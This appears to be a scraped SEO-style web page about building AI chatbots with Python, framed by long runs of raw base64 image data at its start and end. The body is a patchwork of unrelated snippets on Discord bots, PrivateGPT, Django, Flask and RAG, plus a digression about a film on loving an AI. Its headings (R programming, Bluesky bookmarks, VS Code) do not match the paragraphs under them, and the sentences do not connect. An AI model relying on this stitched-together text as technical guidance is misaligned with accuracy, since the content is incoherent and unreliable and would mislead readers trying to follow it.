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" width="308px" alt="ai chat bot python"/></p>
<p><p>The guide is meant for general users, and the instructions are clearly explained with examples. So even if you have a cursory knowledge of computers, you can easily create your own AI chatbot. You can build a ChatGPT chatbot on any platform, whether Windows, macOS, Linux, or ChromeOS. In this article, I am using Windows 11, but the steps are nearly identical for other platforms. In order to program our simple ChatBot with omniscience (infinite knowledge), we will do Google searches within the Python API.</p>
</p>
<p><h2>Create searchable Bluesky bookmarks with R</h2>
</p>
<p><p>I am simply using this to do a quick little count to check how many guilds/servers the bot is connected to and some data about the guilds/servers. Now that the bot has entered the server, we can finally get into coding a basic bot. Before we get into coding a Discord bot’s version of “Hello World,” we need to set up a few other things first. There are several libraries out there to access Discord’s API, each with their own traits, but ultimately, they all achieve the same thing. Since we are focusing on Python, discord.py is probably the most popular wrapper. This tutorial will get you started on how to create your own Discord bot using Python.</p>
</p>
<p><p>Gaimar and Gloria Azimbe shared their aspirations for future applications of AI in pharma and finance, while Areeb Salsabil shared his work in AI tool development, including a resume modifier chatbot. Despite having a functional system, you can make significant improvements depending on the technology used to implement it, both software and hardware. However, it can provide a decent service to a limited number of users, ranging largely depending on the available resources. Finally, it should be noted that achieving the performance of real systems like ChatGPT is complicated, since the model size and hardware required to support it is particularly expensive.</p>
</p>
<p><h2>How to run R in Visual Studio Code</h2>
</p>
<p><p>We will implement a chatbot from scratch that will be able to understand what the user is talking about and give an appropriate response. You can also turn off the internet, but the private AI chatbot will still work since everything is being done locally. PrivateGPT does not have a web interface yet, so you will have to use it in the command-line interface for now. Also, it currently does not take advantage of the GPU, which is a bummer.</p>
</p>
<p><p>Chatbots are computer programs designed to  simulate or emulate human interactions through artificial intelligence. You can converse  with chatbots the same way you would have a conversation with another person. They are used for various purposes, including customer service, information services, and entertainment, just to name a few.</p>
</p>
<p><h2>Open-Source Platform For Human-AI Teaming Playground</h2>
</p>
<p><p>At a glance, the list includes Python, Pip, the OpenAI and Gradio libraries, an OpenAI API key, and a code editor, perhaps something like Notepad++. It represents a model architecture blending features of both retrieval-based and generation-based approaches in natural language processing (NLP). In addition, a views function will be executed to launch the main server thread. Meanwhile, in settings.py, the only thing to change is the DEBUG parameter to False and enter the necessary permissions of the hosts allowed to connect to the server. By learning Django and incorporating AI, you’ll develop a well-rounded skill set for building complex, interactive websites and web services. These are sought-after skills in tech jobs ranging from full-stack development to data engineering, roles that rely heavily on the ability to build and manage web applications effectively.</p>
</p>
<p><p>A tool can be things like web browsing, a calculator, a Python interpreter, or anything else that expands the capabilities of a chatbot [1]. Before diving into the example code, I want to briefly differentiate an AI chatbot from an assistant. While these terms are often used interchangeably, here, I use them to mean different things. Before diving into the script, you must first set the environment variable containing your API key. Visual Studio Code (VS Code) is a good option that meets all your requirements here.</p>
</p>
<p><h3>How to Build an AI Chatbot with Python and Gemini API &#8211; hackernoon.com</h3>
<p>How to Build an AI Chatbot with Python and Gemini API.</p>
<p>Posted: Mon, 10 Jun 2024 07:00:00 GMT [<a href='https://news.google.com/rss/articles/CBMiggFBVV95cUxNVGZtUXpRVl9sNmFFS1ctR0RWUEFpY21PUjh0U3V2VG9QNmM1bl9aOC1TOEVfQ2NubS0xdDk4b1JqZFRfcjdXNlNLOWZUVEplaGVpdkU5ZV92NFlrdGtDTHNKSHlPOHVKeHZKVVZHNE0wcjlEaDhjcThiMVNwLXdnQl9n?oc=5' rel="nofollow">source</a>]</p>
</p>
<p><p>With Python skills, you can code effectively and utilize machine learning and automation to optimize processes and improve decision-making. Without a doubt, one of the most exciting courses in this bundle focuses on creating an AI bot with Tkinter and Python. This is where learners can get hands-on experience building graphical user interfaces (GUIs) that interact with ChatGPT’s powerful language model. Chatterbot combines a spoken language data database with an artificial intelligence system to generate a response.</p>
</p>
<p><p>Once GPU support is introduced, the performance will get much better. Finally, to load up the PrivateGPT AI chatbot, simply run python privateGPT.py if you have not added new documents to the source folder. Once you are in the folder, run the below command, and it will start installing all the packages and dependencies. It might take 10 to 15 minutes to complete the process, so please keep patience. If you get any error, run the below command again and make sure Visual Studio is correctly installed along with the two components mentioned above.</p>
</p>
<ul>
<li>Today we are going to build a Python 3 ChatBot API and web interface.</li>
<li>Following the course’s conclusion, you will have developed a fully functioning chatbot that can be deployed to your Facebook page to interact with customers through Messenger in real-time.</li>
<li>Whether you’re on Windows, macOS, Linux, or ChromeOS, the procedure of building an AI chatbot is more or less the same.</li>
<li>After that, set the file name app.py and change the “Save as type” to “All types”.</li>
</ul>
<p><p>Regarding the hardware employed, it will depend to a large extent on how the service is oriented and how far we want to go. One way to establish communication would be to use Sockets and similar tools at a lower level, allowing exhaustive control of the whole protocol. However, this option would require meeting the compatibility constraints described above with all client technologies, as the system will need to be able to collect queries from all available client types. Therefore, the purpose of this article is to show how we can design, implement, and deploy a computing system for supporting a ChatGPT-like service. What sets this bundle apart is its project-based approach to learning. Projects like creating an interactive ChatGPT app or a dynamic website will help you gain technical skills and real-world experience.</p>
</p>
<p><h2>ChatGPT tools for R programming</h2>
</p>
<p><p>The basic premise of the film is that a man who suffers from loneliness, depression, a boring job, and an impending divorce, ends up falling in love with an AI (artificial intelligence) on his computer’s operating system. Maybe at the time this was a very science-fictiony concept, given that AI back then wasn’t advanced enough to become a surrogate human, but now? I fear that people will give up on finding love (or even social interaction) among humans and seek it out in the digital realm. I won’t tell you what it means, but just search up the definition of the term waifu and just cringe. Using the RAG technique, we can give pre-trained LLMs access to very specific information as additional context when answering our questions. The Flask is a Python micro-framework used to create small web applications and websites using Python.</p>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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